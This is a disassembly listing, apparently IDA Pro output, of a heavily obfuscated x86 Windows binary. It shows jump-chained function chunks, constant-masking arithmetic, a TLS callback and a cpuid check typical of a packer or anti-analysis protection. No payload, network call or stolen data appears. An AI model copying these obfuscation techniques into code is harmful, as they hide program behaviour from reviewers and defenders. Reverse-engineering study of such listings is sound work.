sub_42A617	proc near		; CODE XREF: sub_426968+C83p
					; wto1jq8f:0042CD7Cj

; FUNCTION CHUNK AT 00426119 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042636F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042D6F9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042F221 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042FE89 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		test	byte ptr [eax-10h], 38h
		jnz	loc_42D6FF
		jmp	loc_42636F
sub_42A617	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4294F4


loc_42A62A:				; CODE XREF: wto1jq8f:loc_42DAA9j
					; sub_4294F4+631Fj
		jnz	loc_427E5F
		lea	eax, [ebp+var_14]
		call	sub_427E50
; END OF FUNCTION CHUNK	FOR sub_4294F4
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42A638:				; CODE XREF: sub_42C486+2C73j
		jmp	locret_42F395
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4243D7


loc_42A63D:				; CODE XREF: sub_4243D7+Ej
		jmp	loc_426227
; END OF FUNCTION CHUNK	FOR sub_4243D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42A642:				; CODE XREF: sub_42E9E8+13j
		jnz	loc_426A19
		jmp	loc_427361
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42A64D:				; CODE XREF: sub_4266B1:loc_42B1FFj
		jz	loc_429BEC
		jmp	loc_425CF5
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------


loc_42A658:				; CODE XREF: wto1jq8f:loc_4264C8j
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_42C912
		jmp	loc_42E6FB
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_42F216
; ---------------------------------------------------------------------------
		mov	edx, [eax]
		jmp	loc_424DAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42A67A:				; CODE XREF: sub_42A909-715j
		mov	esi, 75291D36h
		jmp	loc_42FA2E
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		jmp	loc_429D18
; ---------------------------------------------------------------------------
		jmp	loc_4272D9
; ---------------------------------------------------------------------------


loc_42A68E:				; CODE XREF: wto1jq8f:0042D2D2j
		push	eax
		push	0F3B1516h
		pop	eax
		and	eax, 0CCF47B94h
		jmp	loc_42E760
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F987


loc_42A6A0:				; CODE XREF: sub_42F987:loc_4273EDj
		mov	ebx, esi
		pop	esi
		add	ebx, 787C6386h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_42660F
; END OF FUNCTION CHUNK	FOR sub_42F987
; ---------------------------------------------------------------------------


loc_42A6B1:				; CODE XREF: wto1jq8f:004261CDj
		ror	edi, 0Eh
		jno	loc_42D311
		jg	locret_42A466
		and	edx, 8576A679h
		mov	esi, [eax]
		jmp	loc_425F61

; =============== S U B	R O U T	I N E =======================================



sub_42A6CD	proc near		; CODE XREF: sub_42D993:loc_4294AAp
					; wto1jq8f:0042EBBBj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424C2E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00425AB2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00425AD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425E60 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00426E06 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042746B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004281D5 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042828A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004285D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428905 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428CB7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428D1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042957C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A529 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A916 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BCDB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042C803 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042C8ED SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042CCE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D595 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D684 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E79B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042E7E4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042EB14 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		call	sub_42F185
		test	al, al
		jz	nullsub_43
		jmp	loc_42A529
sub_42A6CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A6E3	proc near		; DATA XREF: sub_42EADC+178o

var_C		= dword	ptr -0Ch

		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	0B36E214Dh
		pop	ebx
		add	ebx, 4CD47B48h
		xchg	ebx, [esp+0Ch+var_C]
		jmp	sub_427F4E
sub_42A6E3	endp

; ---------------------------------------------------------------------------
		mov	edx, 729645CDh
		push	eax
		call	sub_4245FF
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42A708:				; CODE XREF: sub_4244EA+B458j
		jmp	loc_42DC7A
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------


loc_42A70D:				; CODE XREF: wto1jq8f:00428768j
		jmp	locret_4277F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C40


loc_42A712:				; CODE XREF: sub_425C40+8j
		jmp	loc_427176
; END OF FUNCTION CHUNK	FOR sub_425C40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269FD


loc_42A717:				; CODE XREF: sub_4269FD:loc_42E765j
		jz	loc_42A21C
		jmp	loc_429F8E
; END OF FUNCTION CHUNK	FOR sub_4269FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42A722:				; CODE XREF: sub_429F7D+1F74j
		pop	ecx


loc_42A723:				; CODE XREF: sub_429F7D:loc_42B515j
		call	nullsub_4

locret_42A728:				; CODE XREF: sub_42F2C7:loc_425B31j
		retn
; END OF FUNCTION CHUNK	FOR sub_429F7D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42A72A:				; CODE XREF: sub_42E9E8-3290j
		jmp	loc_42FFD6
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
		db 0E2h
dword_42A730	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42A734:				; CODE XREF: sub_42760F+5E82j
		jmp	nullsub_103
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
		db 0C7h, 62h, 13h
dword_42A73C	dd 0							; sub_42660F-70Cr ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF89


loc_42A740:				; CODE XREF: sub_42CF89+Aj
		jmp	loc_424257
; END OF FUNCTION CHUNK	FOR sub_42CF89
; ---------------------------------------------------------------------------
		db 0D5h, 87h, 0F2h
dword_42A748	dd 0							; sub_4262CE+930w ...
; ---------------------------------------------------------------------------


loc_42A74C:				; CODE XREF: wto1jq8f:00429348j
		test	ebx, 72096714h
		jmp	loc_42BC33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D3A


loc_42A757:				; CODE XREF: sub_424D3A:loc_424D3Bj
		mov	ebp, esp
		add	esp, 0FFFFF7ECh
		push	339D7377h
		pop	eax
		sub	eax, ds:4000F0h
		rol	eax, 16h
		jmp	loc_42D8A9
; END OF FUNCTION CHUNK	FOR sub_424D3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42A773:				; CODE XREF: sub_428AC6+181Fj
		call	sub_4272B5


loc_42A778:				; CODE XREF: sub_4283CC+4679j
		xchg	ebp, [ecx]


loc_42A77A:				; CODE XREF: sub_4283CC:loc_42EF0Ej
		jmp	loc_42EC1B
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_42A77F:				; CODE XREF: sub_4283CC+5j
		jo	loc_428B81
		call	sub_42A491
; END OF FUNCTION CHUNK	FOR sub_4283CC
; START	OF FUNCTION CHUNK FOR sub_42CB49


loc_42A78A:				; CODE XREF: sub_42CB49:loc_425A62j
		add	eax, 6CEF50A3h
		cpuid
		cmp	eax, 80000000h
		jbe	loc_4248DF
		jmp	loc_4284E1
; END OF FUNCTION CHUNK	FOR sub_42CB49
; ---------------------------------------------------------------------------


loc_42A7A2:				; DATA XREF: sub_425CE2:loc_42778Do
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		jmp	loc_42FAAE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_42A7BA:				; CODE XREF: sub_42C0D7+191j
		jmp	sub_42DFE5
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; ---------------------------------------------------------------------------


loc_42A7BF:				; CODE XREF: wto1jq8f:00426583j
		jmp	loc_427FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42A7C4:				; CODE XREF: sub_42760F:loc_4249ACj
		mov	eax, [ebp-1Ch]
		mov	al, [eax]
		push	offset loc_42A9F4
		jmp	loc_42D11B
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_42A7D3:				; CODE XREF: sub_4284EC+6204j
		ror	eax, 8


loc_42A7D6:				; CODE XREF: wto1jq8f:loc_4297E9j
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FACF


loc_42A7D8:				; CODE XREF: sub_42FACF+10j
		jmp	loc_424830
; END OF FUNCTION CHUNK	FOR sub_42FACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428430


loc_42A7DD:				; CODE XREF: sub_428430+1j
		jmp	loc_42E108
; END OF FUNCTION CHUNK	FOR sub_428430

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A7E2	proc near		; CODE XREF: sub_42DE87-5D58j
					; wto1jq8f:00429F1Ep

; FUNCTION CHUNK AT 00425B5D SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	offset loc_424375
		jmp	loc_425B5D
sub_42A7E2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D58


loc_42A7EF:				; CODE XREF: sub_424D58+7708j
		ror	eax, 17h
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		jmp	loc_42915B
; END OF FUNCTION CHUNK	FOR sub_424D58
; ---------------------------------------------------------------------------

locret_42A7FD:				; CODE XREF: wto1jq8f:loc_42CC5Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42A7FE:				; CODE XREF: sub_42F6A9-152Fj
		jmp	loc_424D91
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42A803:				; CODE XREF: sub_42D434+6ABj
		jmp	loc_42CB7A
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42A808:				; CODE XREF: sub_429F7D+2B5j
		jmp	sub_427A8D
; END OF FUNCTION CHUNK	FOR sub_429F7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BD4


loc_42A80D:				; CODE XREF: sub_424BD4-2D3j
		jmp	loc_42AC2F
; END OF FUNCTION CHUNK	FOR sub_424BD4
; ---------------------------------------------------------------------------


loc_42A812:				; CODE XREF: wto1jq8f:0042835Cj
					; DATA XREF: wto1jq8f:00428763o
		add	edx, 254CE74h
		call	sub_428B3B
		push	offset sub_42CE5D
		jmp	locret_42F9C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D47


loc_42A827:				; CODE XREF: sub_428D47-160Dj
		sub	ecx, 11C3C078h
		xor	ecx, 81942242h
		add	ecx, ebp
		add	ecx, 0F7FB2A0Dh
		mov	ecx, [ecx]
		push	ebx
		jmp	loc_42C9AA
; END OF FUNCTION CHUNK	FOR sub_428D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42A843:				; CODE XREF: sub_42506F:loc_426A4Aj
		jnz	loc_428BDF
		jmp	loc_42A2EB
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------


loc_42A84E:				; CODE XREF: wto1jq8f:0042B74Bj
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42903A


loc_42A858:				; CODE XREF: sub_42903A+Fj
		jmp	nullsub_134
; END OF FUNCTION CHUNK	FOR sub_42903A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42A85D:				; CODE XREF: sub_426C0C+6B0Cj
		jp	loc_42D822
		pop	edi
		mov	[edi], esi


loc_42A866:				; CODE XREF: sub_426C0C:loc_42C964j
		lea	eax, [ebp-25Ch]
		cmp	dword ptr [eax], 47424454h
		jmp	loc_42EAE2
; END OF FUNCTION CHUNK	FOR sub_426C0C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42A878:				; CODE XREF: sub_42D9D9+1Ej
		jmp	loc_429D86
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------


loc_42A87D:				; CODE XREF: wto1jq8f:loc_42FB7Fj
		jnz	loc_427C0C
		jmp	loc_42FF95
; ---------------------------------------------------------------------------


loc_42A888:				; CODE XREF: wto1jq8f:0042DDACj
		mov	edi, 0D62C2116h

; =============== S U B	R O U T	I N E =======================================



sub_42A88D	proc near		; CODE XREF: wto1jq8f:00426DF7p

; FUNCTION CHUNK AT 00427421 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427777 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428B1A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00428F4C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429BE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B2D8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042F66C SIZE 00000014 BYTES

		mov	[esp+0], esi
		pop	esi
		add	eax, 5949AAAAh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4263E7
		jmp	loc_429BE7
sub_42A88D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_429445
		jmp	loc_4272EE
; ---------------------------------------------------------------------------


loc_42A8B3:				; CODE XREF: wto1jq8f:0042FCFDj
		test	eax, eax
		jz	loc_425F96
		jmp	loc_424C05
; ---------------------------------------------------------------------------


loc_42A8C0:				; CODE XREF: wto1jq8f:00425AFFj
		jnb	loc_429268
		rol	edi, 0Dh
		jmp	loc_424F51
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_42A8CF:				; CODE XREF: sub_42B02D+387j
		jmp	loc_42D80A
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
		mov	edx, 64EFA9EDh
		push	ebx
		push	85B64704h
		pop	ebx
		xor	ebx, 0E2D98D15h
		jmp	loc_4241DF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42A8EC:				; CODE XREF: wto1jq8f:004275B7j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_42A8ED	proc near		; CODE XREF: sub_42ED32p

; FUNCTION CHUNK AT 0042442B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00427916 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D32 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BA9F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042CAD3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D12E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D376 SIZE 00000021 BYTES

		mov	[esp+0], ebx
		pop	ebx
		js	sub_42D397
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:byte_425920,	0
		jmp	loc_427916
sub_42A8ED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42A909	proc near		; DATA XREF: wto1jq8f:0042D56Eo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424024 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004241C6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004242E1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424473 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004247F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424D27 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00425098 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425C8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427417 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004275A3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427EEA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427F74 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004285D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428EB6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00428ED1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00429091 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042997C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429F2C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042A1EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A67A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A950 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AB2F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042ACAC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042AFA5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042B297 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B872 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042C58A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D23E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042E71D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042E81B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042ED98 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F718 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FA2E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042FA84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FF67 SIZE 00000016 BYTES

		test	al, al
		jz	loc_42A950
		jmp	loc_425C8A
sub_42A909	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42A916:				; CODE XREF: sub_42A6CD+4136j
		jz	loc_42E79B
		jmp	loc_4285D0
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 0Fh
		mov	ds:dword_42954C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42A92C:				; CODE XREF: sub_42B8FC+180Ej
		call	sub_42EEB0


loc_42A931:				; CODE XREF: sub_42A909+293Bj
		jnb	loc_42808C
		not	edi
		popf


loc_42A93A:				; CODE XREF: sub_42A909:loc_425C8Aj
		call	nullsub_5
		retn
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_42A940:				; CODE XREF: sub_42BE69+3D81j
		jmp	nullsub_187
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424702


loc_42A945:				; CODE XREF: sub_424702+2229j
		jmp	loc_42E149
; END OF FUNCTION CHUNK	FOR sub_424702
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42A94B:				; CODE XREF: sub_42D434+Dj
		jmp	loc_42E4B5
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42A950:				; CODE XREF: wto1jq8f:loc_429201j
					; sub_42A909+2j
		call	sub_42CB36
		jmp	loc_42D249
; END OF FUNCTION CHUNK	FOR sub_42A909
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42A95B:				; CODE XREF: sub_426C0C+768Bj
		jmp	loc_42804E
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C990


loc_42A960:				; CODE XREF: sub_42C990-7953j
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_42C990
; ---------------------------------------------------------------------------
		pushf
		xor	ebx, ecx
		jmp	sub_425B46
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DA7


loc_42A96E:				; CODE XREF: sub_427DA7:loc_42A57Dj
		mov	eax, ecx
		pop	edx
		pop	eax
		mov	ecx, offset sub_42A985
		xchg	ecx, [esp-8+arg_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_427DA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F61


loc_42A97B:				; CODE XREF: sub_428F61+6937j
		jmp	loc_424617
; END OF FUNCTION CHUNK	FOR sub_428F61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42A980:				; CODE XREF: sub_42970D-1175j
		jmp	loc_42C1E1
; END OF FUNCTION CHUNK	FOR sub_42970D

; =============== S U B	R O U T	I N E =======================================



sub_42A985	proc near		; DATA XREF: sub_427DA7+2BCBo

; FUNCTION CHUNK AT 0042736E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042FB60 SIZE 00000005 BYTES

		pop	ebx
		jmp	loc_42736E
sub_42A985	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42A98B:				; CODE XREF: wto1jq8f:0042BC47j
		rol	edx, 0Fh


loc_42A98E:				; CODE XREF: wto1jq8f:loc_429342j
		call	sub_4242D6
		mov	edx, 1AE260E8h
		call	sub_429165
		push	eax
		rol	eax, 0Eh


loc_42A9A1:				; CODE XREF: wto1jq8f:loc_4289BAj
		call	sub_42618A
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_42A9A6:				; CODE XREF: sub_42DB52-92D6j
		test	edx, 0D8739B24h
		jmp	loc_426485
; END OF FUNCTION CHUNK	FOR sub_42DB52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42A9B1:				; CODE XREF: sub_426535+30D4j
		cmp	edx, 0A072F1D0h
		jmp	loc_42DC1B
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_42A9BC:				; CODE XREF: TlsCallback_0+B8Cj
		sbb	ebx, ecx
		jg	loc_426604
		jmp	loc_42DF88
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A14D


loc_42A9C9:				; CODE XREF: sub_42A14D:loc_424A69j
		jnz	loc_425ED2
		jmp	loc_425A83
; END OF FUNCTION CHUNK	FOR sub_42A14D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4FD


loc_42A9D4:				; CODE XREF: sub_42D4FD:loc_428EC7j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42D600
		or	eax, eax
		jmp	loc_42C6D9
; END OF FUNCTION CHUNK	FOR sub_42D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_42A9E7:				; CODE XREF: sub_42BE69:loc_429054j
		sub	eax, 0AFACE392h
		mov	ebx, ecx
		jmp	loc_42DBE7
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------


loc_42A9F4:				; DATA XREF: sub_42760F+31BAo
		mov	edx, [ebp-20h]
		mov	[edx], al
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_42ACDF

; =============== S U B	R O U T	I N E =======================================



sub_42AA04	proc near		; CODE XREF: sub_429E0Cj
					; DATA XREF: sub_429DFC+6o

; FUNCTION CHUNK AT 0042CE40 SIZE 0000000E BYTES

		mov	eax, ds:dword_42DB08
		or	eax, eax
		jnz	loc_42CE55
		call	sub_424585
		jmp	loc_42CE40
sub_42AA04	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42AA1C:				; CODE XREF: wto1jq8f:00429449j
		push	426BAB73h
		mov	esi, offset loc_42AA2A
		xchg	esi, [esp]
		retn
; ---------------------------------------------------------------------------


loc_42AA2A:				; CODE XREF: wto1jq8f:loc_42DE71j
					; DATA XREF: wto1jq8f:0042AA21o
		add	esi, 8958E4EEh
		and	esi, 8BC676F0h
		add	esi, 747E781Eh
		xchg	esi, [esp]
		jmp	loc_42665E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428333


loc_42AA44:				; CODE XREF: sub_428333:loc_42A12Bj
		call	sub_42F863
; END OF FUNCTION CHUNK	FOR sub_428333
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42AA49:				; CODE XREF: sub_4244EA+7523j
		jmp	loc_428DA3
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DEFF


loc_42AA4E:				; CODE XREF: sub_42DEFF-1432j
		sub	eax, 0E738AEB7h
		add	eax, 722D0A55h
		add	eax, ebp
		add	eax, 0E2D4034Bh
		call	sub_426535

locret_42AA67:				; CODE XREF: sub_42D2BB-30E6j
		retn
; END OF FUNCTION CHUNK	FOR sub_42DEFF

; =============== S U B	R O U T	I N E =======================================



sub_42AA68	proc near		; CODE XREF: sub_425944+8C22p

; FUNCTION CHUNK AT 004241CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004270DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427FD3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428620 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428B79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042A479 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042A5F6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042AE7C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0042BCF7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042BE9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D186 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042DCAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E483 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042EBCA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042F7E3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042FCC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FE17 SIZE 0000000B BYTES

		call	sub_42CF50
		call	sub_42E076


loc_42AA72:				; CODE XREF: sub_42C049+Fj
		jmp	loc_42EBCA
sub_42AA68	endp

; ---------------------------------------------------------------------------
		shr	edi, 0Eh
		jmp	loc_426368
